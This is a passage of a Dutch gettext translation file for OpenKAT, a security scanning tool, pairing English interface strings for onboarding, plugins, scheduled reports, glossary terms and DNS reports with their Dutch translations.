\"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\"De plug-in <strong>Fierce</strong> heeft een scanlevel van 3, wat betekent \"\n\"dat deze agressiever is en mogelijk dingen kan beschadigen. Deze scant \"\n\"objecten met een vrijwaringsniveau van 3 of hoger.\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"Plugins inschakelen en starten met scannen\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\"OpenKAT gebruikt plugins om te scannen, controleren en analyseren. Er zijn \"\n\"drie soorten plugins.\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\"De eerste type plug-ins zijn <b>Boefjes</b>, die objecten scannen op \"\n\"gegevens. Dit zijn beveiligingstools zoals nmap, LeakIX en WPscan. </p>\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\"De andere twee type plug-ins zijn <b>Normalizers</b> en <b>Bits</b>, die \"\n\"worden gebruikt om de output van Boefjes te verwerken. Ze kunnen bevindingen \"\n\"en gerelateerde objecten creëren. Bits worden ook gebruikt om \"\n\"organisatiespecifieke bevindingen te creëren, op basis van beleidsvereisten. \"\n\"</p>\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\"Voor de onboarding zullen we de Boefjes hieronder inschakelen. Eenmaal \"\n\"ingeschakeld verzamelen deze Boefjes openbaar beschikbare informatie over \"\n\"geschikte objecten met een vrijwaringsniveau van 1 of hoger. Normalizers en \"\n\"Bits zijn standaard ingeschakeld.\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"Inschakelen en doorgaan\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"Genereer een rapport\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\"Rapporten kunnen worden gebruikt om meer inzicht te krijgen in de assets van \"\n\"uw organisatie. U kunt verschillende soorten rapporten genereren in OpenKAT. \"\n\"Elk rapport kan een of meer plugins vereisen die de input voor het rapport \"\n\"leveren.\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\"Voor de onboarding genereren we een DNS-rapport voor uw toegevoegde URL. In \"\n\"de vorige stap heeft u de vereiste plugins voor dit rapport ingeschakeld.\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"DNS-rapport genereren\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"1: Welkom\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"2: Organisaties\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"3: Object toevoegen\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"4: Plugins\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"5: Rapport genereren\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"{org_name} met succes aangemaakt.\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"{org_name} met succes bijgewerkt.\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"Objecten aanmaken\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"Verkrijg de bovenliggende DNS-zone of hostnaam\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"Vindt subdomeinen door ‘brute force’\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"Selecteer een plug-in om door te gaan.\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"Selecteer alle benodigde plug-ins om door te gaan.\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"\"\n\"Er is een fout opgetreden bij het inschakelen van {}. De plug-in is niet \"\n\"beschikbaar.\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"Plug-ins met succes ingeschakeld.\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"Web URL niet gevonden.\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\"Uw rapport wordt over ongeveer 3 minuten gegenereerd, omdat we wachten tot \"\n\"de Boefjes voltooid zijn. Raak ondertussen vertrouwd met OpenKAT en ga later \"\n\"naar het tabblad Rapportengeschiedenis.\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"Filter op OOI-types\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"Vandaag\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"Andere datum\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"Nee, maar een keer\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"Ja, herhalen\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"Startdatum\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"Starttijd (UTC)\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"Herhaling\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"Geen herhaling, maar één keer\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"Dagelijks\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"Wekelijks\"\n\n#: reports/forms.py\nmsgid \"Monthly\"\nmsgstr \"Maandelijks\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"Jaarlijks\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"dag\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"week\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"maand\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"jaar\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"Nooit\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"Op\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"Na\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"Rapportnaamformaat\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"Appendix\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"Nu gefilterd op\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"Geselecteerde rapporttypes\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"Geselecteerde rapporttypen\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"Rapporttype\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"Serviceversies en gezondheid\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"Service, versie en gezondheid\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"Dienst\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"Versie\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"Welzijn\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"Gezond\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"Ongezond\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"Gebruikte configuratieobjecten\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"Gebruikte configuratieobjecten\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"Primaire sleutel\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"Bit-ID\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"Configuratie\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"Geen configuratieobjecten gevonden.\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"Assetoverzicht\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\"Een overzicht van de handmatig gevrijwaarde gescande assets. \"\n\"<strong>Vetgedrukte</strong> assets zijn als startpunt genomen, niet \"\n\"vetgedrukte assets zijn door OpenKAT zelf gevonden.\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"Overzicht van de basisbeveiligingsstatus\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked off.\"\nmsgstr \"\"\n\"Deze tabel geeft een overzicht van de basisbeveiligingsstatus van de bekende \"\n\"assets. Basisbeveiliging op orde. In principe zouden alle waarden in deze \"\n\"tabel afgevinkt moeten zijn.\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"Basisbeveiligingsstatus\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"Systeemtype\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"Veilige verbindingen\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"Systeemspecifiek\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"RPKI\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"server\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\"Dit hoofdstuk bevat informatie over de bevindingen die voor deze organisatie \"\n\"zijn geïdentificeerd.\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"Aanbevelingen\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"Er is <i>%(total_findings)s</i> kwetsbaarheid\"\nmsgstr[1] \"Er zijn <i>%(total_findings)s</i> kwetsbaarheden\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"gevonden op <i>%(total_systems)s</i> systeem.\"\nmsgstr[1] \"gevonden op <i>%(total_systems)s</i> systemen.\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"Er zijn geen aanbevelingen.\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"Basisbeveiliging\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\"In dit hoofdstuk wordt eerst een tabel met compliancecontroles getoond en \"\n\"vervolgens worden per onderdeel de complianceproblemen toegelicht.\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"Systeemspecifiek\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"Resource Public Key Infrastructure\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"Kwetsbaarheden\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"Gevonden kwetsbaarheden zijn gegroepeerd per systeem.\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"Geaggregeerd Rapport\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\"Deze sectie bevat basisbeveiligingsinformatie over Resource Public Key \"\n\"Infrastructure (RPKI). Als een webserver RPKI gebruikt voor zijn IP-adressen \"\n\"en bijbehorende nameservers, dan verbetert het de bescherming van bezoekers \"\n\"tegen onjuiste configuraties en kwaadwillende routeonderscheppingen. Dit \"\n\"wordt mogelijk gemaakt door geverifieerde routeaankondigingen, waardoor \"\n\"betrouwbare servertoegang en veilig internetverkeer wordt gegarandeerd.\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\"In dit hoofdstuk controleren we of de verbindingen van alle IP-poorten van \"\n\"het systeem veilig zijn. Veilige verbindingen zijn belangrijk om \"\n\"ongeoorloofde toegang en datalekken te voorkomen. Sterke ciphers zijn \"\n\"cruciaal, omdat ze zorgen voor een sterke encryptie die de gegevens \"\n\"beschermt tegen onderschepping tijdens de communicatie.\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"Samenvatting\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"Kritieke kwetsbaarheden\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"Gescande IP-adressen\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"Gescande hostnamen\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"Termen in rapport\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr \"\"\n\"Deze tabel laat zien welke controles zijn uitgevoerd. Daarna worden voor \"\n\"elke %(type)s-server de eventuele complianceproblemen weergegeven.\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"Controleoverzicht\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"Controle\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"Compliance\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"IP’s zijn compliant\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"Host:\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"Complianceprobleem\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"Risiconiveau\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\"Dit is waar controles worden uitgevoerd die specifiek zijn voor bepaalde \"\n\"systeemtypes. Voor verschillende systemen spelen verschillende beveiligings- \"\n\"en complianceproblemen een rol. Ze staan hier onder elkaar.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"Begrippenlijst\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\"Onderstaande overzicht bevat definities van begrippen die in deze rapportage \"\n\"worden gebruikt.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this \"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\"Webservers en domeinen zijn voorbeelden van digitale assets binnen dit \"\n\"framework. Webservers zijn essentieel voor het hosten en aanbieden van \"\n\"websites of webapplicaties, terwijl domeinen de online adressen zijn die \"\n\"worden gebruikt om toegang te krijgen tot deze bronnen. Andere voorbeelden \"\n\"van assets in het IT-domein zijn databases, gebruikersaccounts, \"\n\"softwareapplicaties en netwerkinfrastructuur. Assetmanagement is een \"\n\"cruciaal aspect van cybersecurity, dat de identificatie, classificatie en \"\n\"bescherming van deze assets omvat om bedreigingen af te weren en de algehele \"\n\"veiligheid en functionaliteit van de IT-omgeving van een organisatie te \"\n\"waarborgen.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\"Meerdere hostnames die naar één IP-adres resolven waarbij tenminste één van \"\n\"de hostnames met dat IP-adres een scan-vrijwaringsniveau van tenminste L1 \"\n\"heeft. Type systemen zijn web servers, mail servers en name servers (DNS).\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\"Een fundamenteel onderdeel van het client-servermodel. Een webserver \"\n\"gebruikt protocollen zoals HTTP of HTTPS om de communicatie te faciliteren \"\n\"tussen clients en de server.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\"Een mailserver is een gespecialiseerde softwareapplicatie of een \"\n\"hardwareapparaat dat het verzenden, ontvangen en opslaan van e-mailberichten \"\n\"binnen een computernetwerk faciliteert. Een mailserver, die werkt op basis \"\n\"van het Simple Mail Transfer Protocol (SMTP) voor uitgaande berichten en \"\n\"Internet Message Access Protocol (IMAP) of Post Office Protocol (POP) voor \"\n\"inkomende berichten, beheert e-mailcommunicatie door berichten tussen \"\n\"gebruikers te verzenden en op te slaan totdat ze worden opgehaald. De server \"\n\"zorgt voor een efficiënte en veilige overdracht van e-mailberichten en voert \"\n\"taken uit zoals authenticatie, spamfiltering en opslag van berichten.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\"Een nameserver, of Domain Name System (DNS)-server, is een kritisch \"\n\"onderdeel van de internetinfrastructuur die verantwoordelijk is voor het \"\n\"vertalen van door mensen leesbare domeinnamen naar IP-adressen, waardoor \"\n\"naadloze navigatie op het web mogelijk is. Wanneer een gebruiker een \"\n\"domeinnaam invoert in een webbrowser, wordt de nameserver geraadpleegd om \"\n\"het bijbehorende IP-adres te verkrijgen van de server die de bijbehorende \"\n\"website of service host.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\"Een DICOM-server, wat staat voor Digital Imaging and Communications in \"\n\"Medicine, is een gespecialiseerde server ontworpen voor het opslaan, ophalen \"\n\"en uitwisselen van medische beelden en gerelateerde informatie in de \"\n\"gezondheidszorg. DICOM is een breed geaccepteerde standaard die zorgt voor \"\n\"interoperabiliteit en consistentie in de communicatie van medische beelden \"\n\"en bijbehorende gegevens tussen verschillende apparaten en systemen, zoals \"\n\"medische beeldvormingsapparatuur, beeldarchiverings- en communicatiesystemen \"\n\"(PACS) en radiologie-informatiesystemen (RIS). DICOM-servers slaan \"\n\"patiëntspecifieke medische beelden, zoals röntgenfoto’s, CT-scans en MRI’s \"\n\"op en beheren deze met behulp van een gestandaardiseerd formaat.\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"Er zijn geen CVE’s gevonden.\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"Gevonden records\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\"Het DNS-rapport geeft een overzicht van de DNS-records die werden gevonden \"\n\"voor de DNS-zone. De veiligheidsmaatregeltabel toont aan of DNS met \"\n\"betrekking tot veiligheidsmaatregelen ingeschakeld zijn.\"\n\n#: reports/report_types/dns_report/report.html\n#, fuzzy\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\"<strong>Disclaimer:</strong> Niet alle DNSRecords worden geparsed in \"\n\"OpenKAT. DNS record types die worden geparsed en getoond kunnen worden in de \"\n\"tabel zijn:\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"Alle bestaande DNS-recordtypes kunnen hier worden gevonden:\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"Record\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"TTL\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"Gegevens\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"Er zijn geen records gevonden.\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"Beveiligingsmaatregelen\"\n\n#: reports/report_types/dns_report/report.html\nmsgid 